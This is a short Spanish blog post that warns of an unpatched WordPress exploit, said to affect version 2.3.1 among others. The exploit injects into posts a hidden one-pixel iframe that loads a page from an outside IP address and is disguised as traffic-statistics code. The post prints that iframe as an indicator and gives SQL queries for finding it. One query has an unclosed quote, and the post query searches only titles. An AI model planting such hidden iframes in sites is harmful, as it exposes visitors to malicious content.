Eduardo de De Mas Blog, me avisa de que han reportado un nuevo bug de WordPress, que aún están por corregir, pero que si conocemos podemos estar atentos para controlarlo.
Al parecer el bug, permite aprovecharse de algún exploit que permite insertar en WordPress un iframe con la siguiente estructura.
<!-- Traffic Statistics -->
<iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe>
<!-- End Traffic Statistics -->El problema es que este contenido, aparece dentro del contenido del post, LO HA INTRODUCIDO ALGUIEN AJENO AL BLOG MEDIANTE UN EXPLOIT. Por lo que evidentemente pueden insertar contenido malicioso dentro de nuestros posts, algo realmente delicado.
Por desgracia, esto afecta a varias versiones de WordPress, incluida la 2.3.1.
Comprobar si ya hemos sido atacados
Para comprobar si ya hemos sido atacados, usaremos phpmyadmin (o similar) para buscar en el contenido de nuestros posts y comentarios (por si acaso) algún indicio de <iframe />
//Comentarios
SELECT * FROM `PREFIX_comments` WHERE `comment_content` LIKE '%<iframe%;
//Posts
SELECT * FROM `PREFIX_posts` WHERE `post_title` LIKE '%<iframe%';
PREFIX, es el prefijo que pusimos al instalar WordPress.
16 comentarios, 6 referencias
+
#